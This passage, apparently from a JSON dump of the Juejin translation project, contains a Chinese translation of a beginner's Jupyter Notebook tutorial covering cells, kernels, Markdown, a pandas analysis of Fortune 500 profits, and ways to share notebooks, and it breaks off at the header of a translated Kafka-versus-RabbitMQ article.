强企业的数据集，这些数据都是从[《财富》](http://archive.fortune.com/magazines/fortune/fortune500_archive/full/2005/)的公共档案中收集来的。我们已经创建了一个可用数据的 CSV 文件（你可以在[这里](https://www.dataquest.io/blog/large_files/fortune500.csv)获取它）。\n\n正如我们将要演示的，Jupyter Notebooks 非常适合这项调查。首先，让我们安装 Jupyter。\n\n## 安装\n\n初学者开始使用 Jupyter Notebooks 的最简单方法是安装 [Anaconda](https://anaconda.org/)。Anaconda 是最广泛使用的用于数据科学的 Python 发行版，并且预装了所有常用的库和工具。除了 Jupyter 之外，Anaconda 中还封装了一些 Python 库，包括 [NumPy](http://www.numpy.org/)，[pandas](https://pandas.pydata.org/) 和 [Matplotlib](https://matplotlib.org/)，并且这[完整的1000+列表](https://docs.anaconda.com/anaconda/packages/pkg-docs)是详尽的。这使你可以在自己完备的数据科学研讨会中运行，而不需要管理无数的安装包或担心依赖项和特定操作系统的安装问题。\n\n安装 Anaconda：\n\n1. [下载](https://www.anaconda.com/download/)支持 Python 3 （就不用 Python 2.7 了）的最新版本 Anaconda。\n2. 按照下载页面或可执行文件中的说明安装 Anaconda。\n\n如果你是已经安装了 Python 的更高级的用户，并且更喜欢手动管理你的软件包，那么你可以使用pip:\n\n```\npip3 install jupyter\n```\n\n## 创建你的第一个 Notebook\n\n在本节中，我们将看到如何运行和保存 notebooks，熟悉它们的结构，并理解接口。我们将会熟悉一些核心术语，这些术语将引导你对如何使用 Jupyter notebooks 进行实际的理解，并为下一节做铺垫，该部分将通过示例数据分析，并将我们在这里学到的所有东西带到生活中。\n\n### 运行 Jupyter\n\n在 Windows 上，你可以通过将 Anaconda 快捷方式添加到你的开始菜单来运行 Jupyter，它将在你的默认网页浏览器中打开一个新的标签，看起来就像下面的截图一样。\n\n![Jupyter control panel](https://www.dataquest.io/blog/content/images/2018/03/jupyter-dashboard.jpg)\n\n这是 Notebook Dashboard，专门用于管理 Jupyter Notebooks。把它看作是探索，编辑和创建 notebooks 的启动面板。你可以把它看作是探索、编辑和创造你的 notebook 的发射台。\n\n请注意，仪表板将只允许您访问 Jupyter 启动目录中包含的文件和子文件夹；但是，启动目录是[可以更改的](https://stackoverflow.com/q/35254852/604687)。还可以通过输入 `jupyter notebook` 命令在任何系统上启动指示板(或在Unix系统上的终端);在这种情况下，当前工作目录将是启动目录。\n\n聪明的读者可能已经注意到，仪表板的 URL 类似于 `http://localhost:8888/tree`。Localhost 不是一个网站，而是表示从你的*本地*机器(你自己的计算机)中服务的内容。Jupyter notebook 和仪表板都是 web 应用程序，Jupyter 启动了一个本地的 Python 服务器，将这些应用程序提供给你的 web 浏览器，使其从根本上独立于平台，并打开了更容易在 web 上共享的大门。\n\n仪表板的界面大部分是不言自明的 —— 尽管我们稍后会简要介绍它。我们还在等什么?浏览到你想要创建你的第一个 notebook 的文件夹，点击右上角的 `New` 下拉按钮，选择 `Python 3` (或者你喜欢的版本)。\n\n![New notebook menu](https://www.dataquest.io/blog/content/images/2018/03/new-notebook-menu.jpg)\n\n我们马上能看到成果了!你的第一个 Jupyter Notebook 将在新标签页打开 - 每个 notebook 使用它自己的标签，因为你可以同时打开多个 notebook。如果您切换回仪表板，您将看到新文件 `Untitled` 。你应该看到一些绿色的文字告诉 notebook 正在运行。\n\n#### 什么是 ipynb 文件？\n\n理解这个文件到底是什么是很有用的。每一个 `.ipynb` 文件是一个文本文件，它以一种名为 [JSON](https://en.wikipedia.org/wiki/JSON) 的格式描述你的 notebook 的内容。每个单元格及其内容，包括已被转换成文本字符串的图像附件，都与一些[元数据](https://ipython.org/ipython-doc/3/notebook/nbformat.html#metadata)一起列出。你可以自己编辑这个 -- 如果你知道你在做什么! -- 通过在 notebook 的菜单栏中选择 \"Edit > Edit Notebook Metadata\"。\n\n你还可以通过在仪表板上的控件中选择 `Edit` 来查看你的 notebook 文件的内容，但是重要的是可以；除了好奇之外没有理由这样做，除非你真的知道你在做什么。\n\n### notebook 的接口\n\n既然你面前有一个打开的 notebook，它的界面就不会看起来完全陌生；毕竟，Jupyter 实际上只是一个高级的文字处理器。为什么不看一看？查看菜单以了解它，尤其是花点时间浏览命令选项板（这是带键盘图标的小按钮（或 `Ctrl + Shift + P`））下滚动命令列表。\n\n![New Jupyter Notebook](https://www.dataquest.io/blog/content/images/2018/03/new-notebook.jpg)\n\n您应该注意到两个非常重要的术语，这对您来说可能是全新的：*单元格*和*内核*。它们是理解 Jupyter 和区分 Jupyter 不只是一个文字处理器的关键。幸运的是，这些概念并不难理解。\n\n* 内核是一个“计算引擎”，它执行一个 notebook 文档中包含的代码。\n* 单元格是一个容器，用于装载在 notebook 中显示的文本或是会被 notebook 内核执行的代码。\n\n### 单元格\n\n稍后我们再讨论内核，在这之前我们先来了解一下单元格。单元格构成一个笔记本的主体。在上面一节的新建的 notebook 屏幕截图中，带有绿色轮廓的盒子是一个空的单元格。我们将介绍两种主要的单元格类型：\n\n* **代码单元**包含要在内核中执行的代码，并在下面显示它的输出。\n* **Markdown 单元**包含使用 Markdown 格式化的文本，并在运行时显示其输出。\n\n新的 notebook 中的第一个单元总是一个代码单元。让我们用一个经典的 hello world 示例来测试它。输入 `print('Hello World!')` 到单元格中，点击上面工具栏中的 run 按钮，或者按下 Ctrl + Enter 键。结果应该是这样的：\n\n```Python\nprint('Hello World!')\n```\n\n```\nHello World!\n```\n\n当你运行这个单元格时，它的输出将会显示在它的下面，而它左边的标签将会从 `In [ ]` 变为 `In [1]`。代码单元的输出也是文档的一部分，这就是为什么你可以在本文中看到它的原因。你总是可以区分代码和 Markdown 单元，因为代码单元格在左边有标签，而 Markdown 单元没有。标签的“In”部分仅仅是“输入”的缩写，而标签号表示在内核上执行单元格时的顺序 —— 在这种情况下，单元格被第一个执行。再次运行单元格，标签将更改为 `In[2]`，因为此时单元格是在内核上运行的第二个单元格。这让我们在接下来对内核的深入将非常有用。\n\n从菜单栏中，单击*插入*并选择*在下方插入单元格*，创建你新的代码单元，并尝试下面的代码，看看会发生什么。你注意到有什么不同吗?\n\n```Python\nimport time\ntime.sleep(3)\n```\n\n这个单元不产生任何输出，但执行需要 3 秒。请注意，Jupyter 将标签更改为 `In[*]` 来表示单元格当前正在运行。\n\n一般来说，单元格的输出来自于单元执行过程中指定打印的任何文本数据，以及单元格中最后一行的值，无论是单独变量，函数调用还是其他内容。例如：\n\n```Python\ndef say_hello(recipient):\n    return 'Hello, {}!'.format(recipient)\n\nsay_hello('Tim')\n```\n\n```\n'Hello, Tim!'\n```\n\n你会发现自己经常在自己的项目中使用它，以后我们会看到更多。\n\n### 键盘快捷键\n\n在运行单元格时，你可能经常看到它们的边框变成了蓝色，而在编辑的时候它是绿色的。总是有一个“活动”单元格突出显示其当前模式，绿色表示“编辑模式”，蓝色表示“命令模式”。\n\n到目前为止，我们已经看到了如何使用 `Ctrl + Enter` 来运行单元格，但是还有很多。键盘快捷键是 Jupyter 环境中非常流行的一个方面，因为它们促进了快速的基于单元格的工作流。许多这些都是在命令模式下可以在活动单元上执行的操作。\n\n下面，你会发现一些 Jupyter 的键盘快捷键列表。你可能不会马上熟悉它们，但是这份清单应该让你对这些快捷键有了了解。\n\n* 在编辑和命令模式之间切换，分别使用 `Esc` 和 `Enter`。\n* 在命令行模式下：\n    * 用 `Up` 和 `Down` 键向上和向下滚动你的单元格。\n    * 按 `A` 或 `B` 在活动单元上方或下方插入一个新单元。\n    * `M` 将会将活动单元格转换为 Markdown 单元格。\n    * `Y` 将激活的单元格设置为一个代码单元格。\n    * `D + D `(按两次 `D`)将删除活动单元格。\n    * `Z`将撤销单元格删除。\n    * 按住 `Shift`，同时按 `Up` 或 `Down` ，一次选择多个单元格。\n        * 选择了 multple，`Shift + M` 将合并你的选择。\n* `Ctrl + Shift + -`，在编辑模式下，将在光标处拆分活动单元格。\n* 你也可以在你的单元格的左边用 `Shift + Click` 来选择它们。\n\n你可以在自己的 notebook 上试试这些。一旦你有了尝试，创建一个新的 Markdown 单元，我们将学习如何在我们的 notebook 中格式化文本。\n\n### Markdown\n\n[Markdown](https://www.markdownguide.org/) 是一种轻量级的、易于学习的标记语言，用于格式化纯文本。它的语法与 HTML 标记有一对一的对应关系，所以这里的一些经验是有用的，但绝对不是先决条件。请记住，这篇文章是在一个 Jupyter notebook 上写的，所以你所看到的所有的叙述文本和图片都是在 Markdown 完成的。让我们用一个简单的例子来介绍基础知识。\n\n```markdown\n# 这是一级标题。\n## 这是一个二级标题。\n这是一些构成段落的纯文本。\n通过 **粗体** 和 __bold__ ，或 *斜体* 和 _italic_ 添加重点。\n\n段落必须用空行隔开。\n\n* 有时我们想要包含列表。\n  * 可以缩进。\n\n1. 列表也可以编号。\n2. 有序列表。\n\n[有可能包括超链接](https://www.example.com)\n\n内联代码使用单个倒引号：`foo()`，代码块使用三个倒引号:\n\n\\```\n\\bar()\n\\```\n\n或可由4个空格组成：\n\n    foo()\n\n最后，添加图片也很简单：![Alt](https://www.example.com/image.jpg)\n```\n\n当附加图像时，你有三个选项：\n\n* 使用一个在 web 上的图像的 URL。\n* 使用一个与你的 notebook 一起维护的本地 URL，例如在同一个 git 仓库中。\n* 通过 \"Edit > Insert Image\" 添加附件；这将把图像转换成字符串并存储在你的 notebook 中的 `.ipynb` 文件。\n\n* 注意这将使你的 `.ipynb` 的文件更大!\n\nMarkdown 有很多细节，特别是在超链接的时候，也可以简单地包括纯 HTML。一旦你发现自己突破了上述基础的限制，你可以参考 Markdown 创造者 John Gruber 的[官方指南](https://daringfireball.net/projects/markdown/syntax)。\n\n### 内核\n\n每个 notebook 后台都运行一个内核。当你运行一个代码单元时，该代码在内核中执行，任何输出都会返回到要显示的单元格。在单元格间切换时内核的状态保持不变 —— 它与文档有关，而不是单个的单元格。\n\n例如，如果你在一个单元中导入库或声明变量，那么它们将在另一个单元中可用。通过这种方式，你可以将 notebook 文档看作是与脚本文件相当的，除了它是多媒体。让我们试着去感受一下。首先，我们将导入一个 Python 包并定义一个函数。\n\n```Python\nimport numpy as np\n\ndef square(x):\n    return x * x\n```\n\n一旦我们执行了上面的单元格，我们就可以在任何其他单元中引用 `np`和 `square`。\n\n```Python\nx = np.random.randint(1, 10)\ny = square(x)\n\nprint('%d squared is %d' % (x, y))\n```\n\n```\n1 squared is 1\n```\n\n不管你的 notebook 里的单元格顺序如何，这都是可行的。你可以自己试一下，让我们再把变量打印出来。\n\n```Python\nprint('Is %d squared is %d?' % (x, y))\n```\n\n```\nIs 1 squared is 1?\n```\n\n答案毫无疑问。让我们尝试改变 `y`。\n\n```Python\ny = 10\n```\n\n如果我们再次运行包含 `print` 语句的单元格，你认为会发生什么?我们得到的结果是 `Is 4 squared is 10?`！\n\n大多数情况下，你的 notebook 上的工作流将会从上到下，但是返回上文做一些改变是很正常的。在这种情况下，每个单元的左侧的执行顺序，例如 `In [6]`，将让你知道你的任何单元格是否有陈旧的输出。如果你想要重置一些东西，从内核菜单中有几个非常有用的选项:\n\n* 重启：重新启动内核，从而清除定义的所有变量。\n* 重启和清除输出:与上面一样，但也将擦除显示在您的代码单元格下面的输出。\n* 重启和运行所有:和上面一样，但也会运行你的所有单元，从第一个到最后。\n\n如果你的内核一直在计算中，但你希望停止它，你可以选择 `Interupt` 选项。\n\n#### 选择一个内核\n\n你可能已经注意到，Jupyter 提供了更改内核的选项，实际上有许多不同的选项可供选择。当你通过选择 Python 版本从仪表板中创建一个新的笔记时，你实际上是在选择使用哪个内核。\n\n不仅有不同版本的 Python 的内核，还有[(超过 100 种语言)](https://github.com/jupyter/jupyter/jupyter/wiki/jupyter-kernel)，包括 Java 、C ，甚至 Fortran。数据科学家可能特别感兴趣的是 [R](https://irkernel.github.io/) 和 [Julia](https://github.com/JuliaLang/IJulia.jl)，以及 [imatlab](https://github.com/imatlab/imatlab) 和 [Calysto MATLAB内核](https://github.com/calysto/matlab_kernel) 。[SoS 内核](https://github.com/vatlab/SOS)在一个 notebook 中提供多语言支持。每个内核都有自己的安装指令，但可能需要您在计算机上运行一些命令。\n\n## 实例分析\n\n现在我们已经看了一个 Jupyter Notebook，是时候看看它们在实践中使用了，这应该会让你更清楚地了解它们为什么那么受欢迎。现在是时候开始使用前面提到的财富 500 数据集了。请记住，我们的目标是了解美国最大公司的利润在历史上是如何变化的。\n\n值得注意的是，每个人都会有自己的喜好和风格，但是一般原则仍然适用，如果你愿意，你可以在自己的 notebook 上跟随这一段，这也给了你自由发挥空间。\n\n### 命名你的 notebook\n\n在开始编写项目之前，你可能想要给它一个有意义的名称。也许有点让人困惑，你不能从 Notebook 的应用程序中命名或重命名你的 notebook，而必须使用仪表盘或你的文件浏览器来重命名 `.ipynb` 文件。我们将返回到仪表板，以重命名你之前创建的文件，它将有默认的 notebook 的文件名是 `Untitled.ipynb` 。\n\n你不能在 notebook 运行时重命名它，所以你首先要关闭它。最简单的方法就是从 notebook 菜单中选择 “File > Close and Halt”。但是，您也可以通过在笔记本应用程序内 “Kernel > Shutdown” 或在仪表板中选择 notebook 并点击 “Shutdown” (见下图)来关闭内核。\n\n![A running notebook](https://www.dataquest.io/blog/content/images/2018/03/notebook-running.jpg)\n\n然后你可以选择你的 notebook，并在仪表板控件中点击 “Rename”。\n\n![A running notebook](https://www.dataquest.io/blog/content/images/2018/03/notebook-controls.jpg)\n\n注意，在你的浏览器中关闭笔记的标签页将不会像在传统的应用程序中关闭文档的方式一样关闭你的 notebook。notebook 的内核将继续在后台运行，需要在真正“关闭”之前停止运行 —— 不过如果你不小心关掉了你的标签或浏览器，这就很方便了！如果内核被关闭，你可以关闭该选项卡，而不用担心它是否还在运行。\n\n如果你给你的 notebook 起了名字，打开它，我们就可以开始实践了。\n\n### 设置\n\n通常一开始就使用一个专门用于导入和设置的代码单元，因此如果你选择添加或更改任何内容，你可以简单地编辑和重新运行该单元，而不会产生任何副作用。\n\n```Python\n%matplotlib inline\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nsns.set(style=\"darkgrid\")\n```\n\n我们导入 [pandas](https://pandas.pydata.org/) 来处理我们的数据，[Matplotlib](https://matplotlib.org/) 绘制图表，[Seaborn](https://seabornpydata.org/) 使我们的图表更美。导入 [NumPy](http://www.numpy.org/) 也是很常见的，但是在这种情况下，虽然我们使用的是 pandas，但我们不需要显式地使用它。第一行不是 Python 命令，而是使用一种叫做行魔法的东西来指示 Jupyter 捕获 Matplotlib 图并在单元输出中呈现它们；这是超出本文范围的一系列高级特性之一。\n\n让我们来加载数据。\n\n```Python\ndf = pd.read_csv('fortune500.csv')\n```\n\n在单个单元格中这样做也是明智的，因为我们需要在任何时候重新加载它。\n\n### 保存和检查点\n\n现在我们已经开始了，最好的做法是定期存储。按 `Ctrl + S` 键可以通过调用“保存和检查点”命令来保存你的 notebook，但是这个检查点又是什么呢?\n\n每当你创建一个新的 notebook 时，都会创建一个检查点文件以及你的 notebook 文件；它将位于你保存位置的隐藏子目录中称作 `.ipynb_checkpoints`，也是一个 `.ipynb` 文件。默认情况下，Jupyter 将每隔 120 秒自动保存你的 notebook，而不会改变你的主 notebook 文件。当你“保存和检查点”时，notebook 和检查点文件都将被更新。因此，检查点使你能够在发生意外事件时恢复未保存的工作。你可以通过 “File > Revert to Checkpoint“ 从菜单恢复到检查点。\n\n### 调查我们的数据集\n\n我们正在稳步前进！我们的笔记已经被安全保存，我们将数据集 `df` 加载到最常用的 pandas 数据结构中，这被称为 `DataFrame` ，看起来就像一张表格。那我们的数据集会是怎样的？\n\n```\ndf.head()\n```\n\n|  | Year | Rank | Company | Revenue (in millions) | Profit (in millions) |\n| --- | --- | --- | --- | --- | --- |\n| 0 | 1955 | 1 | General Motors | 9823.5 | 806 |\n| 1 | 1955 | 2 | Exxon Mobil | 5661.4 | 584.8 |\n| 2 | 1955 | 3 | U.S. Steel | 3250.4 | 195.4 |\n| 3 | 1955 | 4 | General Electric | 2959.1 | 212.6 |\n| 4 | 1955 | 5 | Esmark | 2510.8 | 19.1 |\n\n```\ndf.tail()\n```\n\n|  | Year | Rank | Company | Revenue (in millions) | Profit (in millions) |\n| --- | --- | --- | --- | --- | --- |\n| 25495 | 2005 | 496 | Wm. Wrigley Jr. | 3648.6 | 493 |\n| 25496 | 2005 | 497 | Peabody Energy | 3631.6 | 175.4 |\n| 25497 | 2005 | 498 | Wendy's International | 3630.4 | 57.8 |\n| 25498 | 2005 | 499 | Kindred Healthcare | 3616.6 | 70.6 |\n| 25499 | 2005 | 500 | Cincinnati Financial | 3614.0 | 584 |\n\n看上去不错。我们有需要的列，每一行对应一个公司一年的财务数据。\n\n让我们重命名这些列，以便稍后引用它们。\n\n```\ndf.columns = ['year', 'rank', 'company', 'revenue', 'profit']\n```\n\n接下来，我们需要探索我们的数据集，它是否完整? pandas 是按预期读的吗？缺少值吗?\n\n```\nlen(df)\n```\n\n```\n25500\n```\n\n好吧，看起来不错 —— 从 1955 年到 2005 年，每年都有 500 行。\n\n让我们检查我们的数据集是否如我们预期的那样被导入。一个简单的检查就是查看数据类型（或 dtypes）是否被正确地解释。\n\n```\ndf.dtypes\n```\n\n```\nyear         int64\nrank         int64\ncompany     object\nrevenue    float64\nprofit      object\ndtype: object\n```\n\n看起来利润栏有点问题 —— 我们希望它像收入栏一样是 `float64`。这表明它可能包含一些非整数值，所以让我们看一看。\n\n```python\nnon_numberic_profits = df.profit.str.contains('[^0-9.-]')\ndf.loc[non_numberic_profits].head()\n```\n\n|  | year | rank | company | revenue | profit |\n| --- | --- | --- | --- | --- | --- |\n| 228 | 1955 | 229 | Norton | 135.0 | N.A. |\n| 290 | 1955 | 291 | Schlitz Brewing | 100.0 | N.A. |\n| 294 | 1955 | 295 | Pacific Vegetable Oil | 97.9 | N.A. |\n| 296 | 1955 | 297 | Liebmann Breweries | 96.0 | N.A. |\n| 352 | 1955 | 353 | Minneapolis-Moline | 77.4 | N.A. |\n\n就像我们猜测的那样!其中一些值是字符串，用于表示丢失的数据。还有其他缺失的值么?\n\n```Python\nset(df.profit[non_numberic_profits])\n```\n\n```\n{'N.A.'}\n```\n\n这很容易解释，但是我们应该怎么做呢？这取决于缺失了多少个值。\n\n```Python\nlen(df.profit[non_numberic_profits])\n```\n\n```\n369\n```\n\n它只是我们数据集的一小部分，虽然不是完全无关紧要，因为它仍然在 1.5% 左右。如果包含 N.A. 的行是简单地、均匀地按年分布的，那最简单的解决方案就是删除它们。所以让我们浏览一下分布。\n\n```\nbin_sizes, _, _ = plt.hist(df.year[non_numberic_profits], bins=range(1955, 2006))\n```\n\n![Missing value distribution](https://www.dataquest.io/blog/content/images/2018/03/jupyter-notebook-tutorial_35_0.png)\n\n粗略地看，我们可以看到，在一年中无效值最多的情况也小于 25，并且由于每年有 500 个数据点，删除这些值在最糟糕的年份中只占不到 4% 的数据。事实上，除了 90 年代的激增，大多数年份的缺失值还不到峰值的一半。为了我们的目的，假设这是可以接受的，然后移除这些行。\n\n```Python\ndf = df.loc[~non_numberic_profits]\ndf.profit = df.profit.apply(pd.to_numeric)\n```\n\n我们看看有没有生效。\n\n```\nlen(df)\n```\n\n```\n25131\n```\n\n```\ndf.dtypes\n```\n\n```\nyear         int64\nrank         int64\ncompany     object\nrevenue    float64\nprofit     float64\ndtype: object\n```\n\n不错！我们已经完成了数据集的设置。\n\n如果你要将 notebook 做成一个报告，你可以不使用我们创建的研究的单元格，包括这里的演示使用 notebook 的工作流，合并相关单元格(请参阅下面的高级功能部分)并创建一个数据集设置单元格。这意味着如果我们把我们的数据放在别处，我们可以重新运行安装单元来恢复它。\n\n### 使用 matplotlib 进行绘图\n\n接下来，我们可以通过计算年平均利润来解决这个问题。我们不妨把收入也画出来，所以首先我们可以定义一些变量和一种方法来减少我们的代码。\n\n```Python\ngroup_by_year = df.loc[:, ['year', 'revenue', 'profit']].groupby('year')\navgs = group_by_year.mean()\nx = avgs.index\ny1 = avgs.profit\n\ndef plot(x, y, ax, title, y_label):\n    ax.set_title(title)\n    ax.set_ylabel(y_label)\n    ax.plot(x, y)\n    ax.margins(x=0, y=0)\n```\n\n现在让我们开始画图。\n\n```Python\nfig, ax = plt.subplots()\nplot(x, y1, ax, 'Increase in mean Fortune 500 company profits from 1955 to 2005', 'Profit (millions)')\n```\n\n![Increase in mean Fortune 500 company profits from 1955 to 2005](https://www.dataquest.io/blog/content/images/2018/03/jupyter-notebook-tutorial_44_0.png)\n\n它看起来像一个指数，但它有一些大的凹陷。它们一定是对应于[上世纪 90 年代初的经济衰退](https://en.wikipedia.org/wiki/Early_1990s_recession)和 [互联网泡沫](https://en.wikipedia.org/wiki/Dot-com_bubble)。在数据中能看到这一点非常有趣。但为什么每次经济衰退后，利润都能恢复到更高的水平呢?\n\n也许收入能告诉我们更多。\n\n```Python\ny2 = avgs.revenue\nfig, ax = plt.subplots()\nplot(x, y2, ax, 'Increase in mean Fortune 500 company revenues from 1955 to 2005', 'Revenue (millions)')\n```\n\n![Increase in mean Fortune 500 company revenues from 1955 to 2005](https://www.dataquest.io/blog/content/images/2018/03/jupyter-notebook-tutorial_46_0.png)\n\n这为故事增添了另一面。收入几乎没有受到严重打击，财务部门的会计工作做得很好。\n\n借助 [Stack Overflow](https://stackoverflow.com/a/47582329/604687) 上的帮助，我们可以用 +/- 它们的标准偏移来叠加这些图。\n\n```Python\ndef plot_with_std(x, y, stds, ax, title, y_label):\n    ax.fill_between(x, y - stds, y + stds, alpha=0.2)\n    plot(x, y, ax, title, y_label)\n\nfig, (ax1, ax2) = plt.subplots(ncols=2)\ntitle = 'Increase in mean and std Fortune 500 company %s from 1955 to 2005'\nstds1 = group_by_year.std().profit.as_matrix()\nstds2 = group_by_year.std().revenue.as_matrix()\nplot_with_std(x, y1.as_matrix(), stds1, ax1, title % 'profits', 'Profit (millions)')\nplot_with_std(x, y2.as_matrix(), stds2, ax2, title % 'revenues', 'Revenue (millions)')\nfig.set_size_inches(14, 4)\nfig.tight_layout()\n```\n\n![jupyter-notebook-tutorial_48_0](https://www.dataquest.io/blog/content/images/2018/03/jupyter-notebook-tutorial_48_0.png)\n\n这是惊人的，标准偏差是巨大的。一些财富 500 强的公司赚了数十亿，而另一些公司却损失了数十亿美元，而且随着这些年来利润的增长，风险也在增加。也许有些公司比其他公司表现更好；前 10％ 的利润是否或多或少会比最低的10％稳定一些?\n\n接下来我们有很多问题可以看，很容易看到在 notebook 上的工作流程是如何与自己的思维过程相匹配的，所以现在是时候为这个例子画上句号了。这一流程帮助我们在无需切换应用程序的情况下轻松地研究我们的数据集，并且我们的工作可以立即共享和重现。如果我们希望为特定的目标人群创建一个更简洁的报告，我们可以通过合并单元和删除中间代码来快速重构我们的工作。\n\n## 分享你的 notebook\n\n当人们谈论分享他们的 notebook 时，他们通常会考虑两种模式。大多数情况下，个人共享其工作的最终结果，就像本文本身一样，这意味着共享非交互式的、预渲染的版本的 notebook；然而，也可以在 notebook 上借助诸如 [Git](https://git-scm.com/) 这样的辅助版本控制系统进行协作。\n\n也就是说，[有一些](https://mybinder.org/)新兴的[公司](https://kyso.io/)在 web 上提供了在云中运行交互式 Jupyter Notebook 的能力。\n\n### 在你分享之前\n\n当你导出或保存它时，共享的 notebook 将会以被导出或保存的那一刻的状态显示，包括所有代码单元的输出。因此，为了确保你的 notebook 是共享的，你可以在分享之前采取一些步骤：\n\n1.  点击 \"Cell > All Output > Clear\"\n2.  点击 \"Kernel > Restart & Run All\"\n3.  等待您的代码单元完成执行，并检查它们是否按预期执行。\n\n这将确保你的 notebook 不包含中间输出，不包含陈旧的状态，并在共享时按顺序执行。\n\n### 导出你的 notebook\n\nJupyter 内置支持导出 HTML 和 PDF 以及其他几种格式，你可以在 `File > Download As` 菜单下找到。如果你希望与一个小型的私有组共享你的 notebook，这个功能很可能是你所需要的。事实上，许多学术机构的研究人员都有一些公共或内部的网络空间，因为你可以将一个 notebook 导出到一个 HTML 文件中，Jupyter notebook 可以成为他们与同行分享成果的一种特别方便的方式。\n\n但是，如果共享导出的文件并不能让你满意，那么还有一些更直接的非常流行的共享 `.ipynb` 文件到网上的方法。\n\n### GitHub\n\n截止到 2018 年初，GitHub 上的公共 notebook 数量超过了 180 万，它无疑是最受欢迎的与世界分享 Jupyter 项目的独立平台。GitHub 已经集成了对 `.ipynb` 的文件渲染的支持，你可以直接将其存储在其网站的仓库和 gists 中。如果你还不知道，[GitHub](https://github.com) 是一个代码托管平台，用于为使用 [Git](https://git-scm.com/) 创建的存储库进行版本控制和协作。你需要创建一个帐户来使用他们的服务，同时 Github 标准帐户是免费的。\n\n当你有了 GitHub 账户，在 GitHub 上共享一个 notebook 最简单的方法甚至都不需要 Git。自 2008 年以来， GitHub 为托管和共享代码片段提供了Gist 服务，每个代码段都有自己的存储库。使用 Gists 共享一个 notebook：\n\n1. 登录并且浏览 [gist.github.com](https://gist.github.com)。\n2. 用文件编辑器打开 `.ipynb` 文件,  全选并且拷贝里面的 JSON 。\n3. 将笔记的 JSON 粘贴到中 gist 中。\n4. 给你的 Gist 命名, 记得添加 `.iypnb` 后缀，否则不能正常工作。\n5. 点击 \"Create secret gist\"或者 \"Create public gist.\"\n\n这看起来应该是这样的：\n\n![Creating a Gist](https://www.dataquest.io/blog/content/images/2018/03/create-gist.jpg)\n\n如果你创建了一个公共的 Gist，你现在就可以和任何人分享它的 URL，其他人将能够 [fork 和 clone](https://help.github.com/articles/forkingand-cloning-gists/) 你的工作。\n\n创建自己的 Git 存储库并在 GitHub 上共享，这超出了本教程的范围，但是 [GitHub 提供了大量的指南](https://guides.github.com/)可供你参考。\n\n对于那些使用 git 的人来说，一个额外的技巧是在 `.gitignore` 中为 Jupyter 创建的 `.ipynb_checkpoints` 目录[添加例外](https://stackoverflow.com/q/35916658/604687)，因为我们不需要将检查点文件提交给到仓库。\n\n从 2015 年起，NBViewer 每个星期都会渲染[成千上万的 notebook](https://blog.jupyter.org/renderingnotebooks-ongithub-f7ac8736d686)，它已然成了最受欢迎的 notebook 渲染器。如果你已经在某个地方把你的 Jupyter Notebook 放在网上，无论是 GitHub 还是其他地方，NBViewer 都可以读取你的 notebook，并提供一个可共享的 URL。作为项目 Jupyter 的一部分提供的免费服务，你可以在 [nbview.jupyter.org](https://nbview.jupyter.org/) 找到相关服务。\n\n最初是在 GitHub 的 Jupyter Notebook 集成之前开发的，NBViewer 允许任何人输入 URL、Gist ID 或 `GitHub username/repo/filename`，并将其作为网页呈现。一个 Gist 的 ID 是其 URL 末尾唯一的数字；例如，在 `https://gist.github.com/username/50896401c23e0bf417e89e1de` 中最后一个反斜杠后的字符串。如果你输入了 `GitHub username/repo/filename` ，你将看到一个最小的文件浏览器，它允许你访问用户的仓库及其内容。\n\nNBViewer 显示的 notebook 的 URL 是基于正在渲染的 notebook 的 URL 的并且不会改变，所以你可以和任何人分享它，只要原始文件保持在线 —— NBViewer 不会缓存文件很长时间。\n\n## 结语\n\n从基础知识入手，我们已经掌握了 Jupyter Notebook 的工作流程，深入研究了IPython 的更多高级功能，并最终学会如何与朋友、同事和世界分享我们的工作。我们从一个笔记上完成了这一切!\n\n可以看到，notebook 是如何通过减少上下文切换和在项目中模拟自然的思维发展的方式来提高工作经验的。Jupyter Notebook。Jupyter Notebook 的功能也应该是显而易见的，我们已经介绍了大量的资源，让你开始在自己的项目中探索更高级的特性。\n\n如果你想为自己的 Notebooks 提供更多的灵感，Jupyter 已经整理好了([一个有趣的 Jupyter Notebook 图库](https://github.com/jupyter/jupyter/wiki/A-gallery-of-interesting-Jupyter-Notebooks))，你可能会发现它有帮助，并且你会发现 [Nbviewer 的主页](https://nbviewer.jupyter.org/)链接到一些真正的高质量笔记本的例子。也可以查看我们的 [Jupyter Notebooks 提示列表](https://www.dataquest.io/blog/jupyter-notebook-tips-tricks-shortcuts/)。\n\n> 想了解更多关于 Jupyter Notebooks 的知识吗?我们有[一个有指导的项目](https://www.dataquest.io/m/207/guided-project%3A-using-jupyter-notebook)，你可能会感兴趣。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/kafka-vs-rabbitmq-why-use-kafka.md",
    "content": "> * 原文地址：[Kafka vs. RabbitMQ: Why Use Kafka?](https://medium.com/better-programming/kafka-vs-rabbitmq-why-use-kafka-8401b2863b8b)\n> * 原文作者：[SeattleDataGuy](https://medium.com/@SeattleDataGuy)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/kafka-vs-rabbitmq-why-use-kafka.md](https://github.com/xitu/gold-miner/blob/master/TODO1/kafka-vs-rabbitmq-why-use-kafka.md)\n> * 译者：[Roc](https://github.com/QinRoc)\n> * 校对者：[icy](https://github.com/Raoul1996)，[cyril](https://github.com/shixi-li)\n\n# Kafka vs. RabbitMQ：为什么使用 Kafka？\n\n> 所有的数据流服务都是一样的么？\n\n![Photo by [Levi Jones](https://unsplash.com/@ev?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on 